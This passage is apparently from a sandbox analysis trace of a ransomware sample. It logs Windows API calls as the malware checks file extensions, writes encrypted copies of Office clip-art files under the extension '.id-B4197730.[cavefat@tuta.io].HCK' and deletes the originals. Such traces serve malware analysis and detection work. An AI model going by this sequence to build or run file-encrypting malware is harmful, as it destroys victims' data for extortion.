Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0170.007] lstrlenW (lpString=".zip") returned 4 [0170.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.007] lstrlenW (lpString=".rar") returned 4 [0170.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString=".bz2") returned 4 [0170.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString=".7z") returned 3 [0170.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0170.008] lstrlenW (lpString=".dbf") returned 4 [0170.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0170.008] lstrlenW (lpString=".1cd") returned 4 [0170.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0170.008] lstrlenW (lpString=".jpg") returned 4 [0170.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.008] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.008] lstrlenW (lpString="J0187819.WMF") returned 12 [0170.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.011] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10352) returned 1 [0170.011] CloseHandle (hObject=0x38c) returned 1 [0170.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf")) returned 0x220 [0170.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.018] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.018] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0170.021] GetLastError () returned 0x0 [0170.021] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2870, lpOverlapped=0x0) returned 1 [0170.024] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2880, lpOverlapped=0x0) returned 1 [0170.025] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.025] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.025] SetEndOfFile (hFile=0x364) returned 1 [0170.028] CloseHandle (hObject=0x364) returned 1 [0170.030] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.030] SetEndOfFile (hFile=0x308) returned 1 [0170.034] CloseHandle (hObject=0x308) returned 1 [0170.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf")) returned 1 [0170.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0170.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0170.037] lstrlenW (lpString=".doc") returned 4 [0170.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.037] lstrlenW (lpString=".docx") returned 5 [0170.037] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.037] lstrlenW (lpString=".pdf") returned 4 [0170.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.037] lstrlenW (lpString=".xls") returned 4 [0170.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.037] lstrlenW (lpString=".xlsx") returned 5 [0170.037] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.037] lstrlenW (lpString=".ppt") returned 4 [0170.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0170.038] lstrlenW (lpString=".zip") returned 4 [0170.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.038] lstrlenW (lpString=".rar") returned 4 [0170.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.038] lstrlenW (lpString=".bz2") returned 4 [0170.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.038] lstrlenW (lpString=".7z") returned 3 [0170.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0170.038] lstrlenW (lpString=".dbf") returned 4 [0170.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0170.038] lstrlenW (lpString=".1cd") returned 4 [0170.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0170.038] lstrlenW (lpString=".jpg") returned 4 [0170.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0170.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0170.038] lstrlenW (lpString=".doc") returned 4 [0170.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.038] lstrlenW (lpString=".docx") returned 5 [0170.038] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.038] lstrlenW (lpString=".pdf") returned 4 [0170.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.038] lstrlenW (lpString=".xls") returned 4 [0170.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.038] lstrlenW (lpString=".xlsx") returned 5 [0170.038] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.038] lstrlenW (lpString=".ppt") returned 4 [0170.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0170.038] lstrlenW (lpString=".zip") returned 4 [0170.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.038] lstrlenW (lpString=".rar") returned 4 [0170.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.038] lstrlenW (lpString=".bz2") returned 4 [0170.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.038] lstrlenW (lpString=".7z") returned 3 [0170.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0170.038] lstrlenW (lpString=".dbf") returned 4 [0170.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0170.038] lstrlenW (lpString=".1cd") returned 4 [0170.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0170.038] lstrlenW (lpString=".jpg") returned 4 [0170.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.039] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.039] lstrlenW (lpString="J0187837.WMF") returned 12 [0170.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.040] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=16354) returned 1 [0170.040] CloseHandle (hObject=0x38c) returned 1 [0170.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf")) returned 0x220 [0170.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.047] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.047] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0170.053] GetLastError () returned 0x0 [0170.054] ReadFile (in: hFile=0x380, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3fe2, lpOverlapped=0x0) returned 1 [0170.056] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3ff0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3ff0, lpOverlapped=0x0) returned 1 [0170.056] ReadFile (in: hFile=0x380, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.056] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.057] SetEndOfFile (hFile=0x364) returned 1 [0170.060] CloseHandle (hObject=0x364) returned 1 [0170.061] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.061] SetEndOfFile (hFile=0x380) returned 1 [0170.064] CloseHandle (hObject=0x380) returned 1 [0170.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf")) returned 1 [0170.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0170.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0170.069] lstrlenW (lpString=".doc") returned 4 [0170.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.069] lstrlenW (lpString=".docx") returned 5 [0170.069] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0170.069] lstrlenW (lpString=".pdf") returned 4 [0170.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.069] lstrlenW (lpString=".xls") returned 4 [0170.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.069] lstrlenW (lpString=".xlsx") returned 5 [0170.069] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0170.069] lstrlenW (lpString=".ppt") returned 4 [0170.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0170.069] lstrlenW (lpString=".zip") returned 4 [0170.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.069] lstrlenW (lpString=".rar") returned 4 [0170.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.069] lstrlenW (lpString=".bz2") returned 4 [0170.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.069] lstrlenW (lpString=".7z") returned 3 [0170.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0170.069] lstrlenW (lpString=".dbf") returned 4 [0170.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0170.069] lstrlenW (lpString=".1cd") returned 4 [0170.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0170.069] lstrlenW (lpString=".jpg") returned 4 [0170.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0170.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0170.069] lstrlenW (lpString=".doc") returned 4 [0170.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.069] lstrlenW (lpString=".docx") returned 5 [0170.069] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0170.069] lstrlenW (lpString=".pdf") returned 4 [0170.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.069] lstrlenW (lpString=".xls") returned 4 [0170.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.069] lstrlenW (lpString=".xlsx") returned 5 [0170.069] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0170.069] lstrlenW (lpString=".ppt") returned 4 [0170.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0170.070] lstrlenW (lpString=".zip") returned 4 [0170.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.070] lstrlenW (lpString=".rar") returned 4 [0170.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.070] lstrlenW (lpString=".bz2") returned 4 [0170.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.070] lstrlenW (lpString=".7z") returned 3 [0170.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0170.070] lstrlenW (lpString=".dbf") returned 4 [0170.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0170.070] lstrlenW (lpString=".1cd") returned 4 [0170.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0170.070] lstrlenW (lpString=".jpg") returned 4 [0170.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.070] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.070] lstrlenW (lpString="J0187851.WMF") returned 12 [0170.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0170.073] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=8732) returned 1 [0170.073] CloseHandle (hObject=0x3ac) returned 1 [0170.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf")) returned 0x220 [0170.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0170.086] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.086] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0170.089] GetLastError () returned 0x0 [0170.089] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x221c, lpOverlapped=0x0) returned 1 [0170.092] WriteFile (in: hFile=0x360, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2220, lpOverlapped=0x0) returned 1 [0170.093] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.093] WriteFile (in: hFile=0x360, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.093] SetEndOfFile (hFile=0x360) returned 1 [0170.098] CloseHandle (hObject=0x360) returned 1 [0170.099] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.099] SetEndOfFile (hFile=0x378) returned 1 [0170.102] CloseHandle (hObject=0x378) returned 1 [0170.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf")) returned 1 [0170.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0170.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0170.106] lstrlenW (lpString=".doc") returned 4 [0170.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.106] lstrlenW (lpString=".docx") returned 5 [0170.106] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.106] lstrlenW (lpString=".pdf") returned 4 [0170.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.106] lstrlenW (lpString=".xls") returned 4 [0170.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.106] lstrlenW (lpString=".xlsx") returned 5 [0170.106] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.106] lstrlenW (lpString=".ppt") returned 4 [0170.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0170.106] lstrlenW (lpString=".zip") returned 4 [0170.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.106] lstrlenW (lpString=".rar") returned 4 [0170.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.106] lstrlenW (lpString=".bz2") returned 4 [0170.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.106] lstrlenW (lpString=".7z") returned 3 [0170.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0170.106] lstrlenW (lpString=".dbf") returned 4 [0170.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0170.106] lstrlenW (lpString=".1cd") returned 4 [0170.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0170.107] lstrlenW (lpString=".jpg") returned 4 [0170.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0170.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0170.107] lstrlenW (lpString=".doc") returned 4 [0170.107] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.107] lstrlenW (lpString=".docx") returned 5 [0170.107] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.107] lstrlenW (lpString=".pdf") returned 4 [0170.107] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.107] lstrlenW (lpString=".xls") returned 4 [0170.107] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.107] lstrlenW (lpString=".xlsx") returned 5 [0170.107] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.107] lstrlenW (lpString=".ppt") returned 4 [0170.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0170.107] lstrlenW (lpString=".zip") returned 4 [0170.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.107] lstrlenW (lpString=".rar") returned 4 [0170.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.107] lstrlenW (lpString=".bz2") returned 4 [0170.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.107] lstrlenW (lpString=".7z") returned 3 [0170.107] lstrcmpiW (lpString1=".7z", 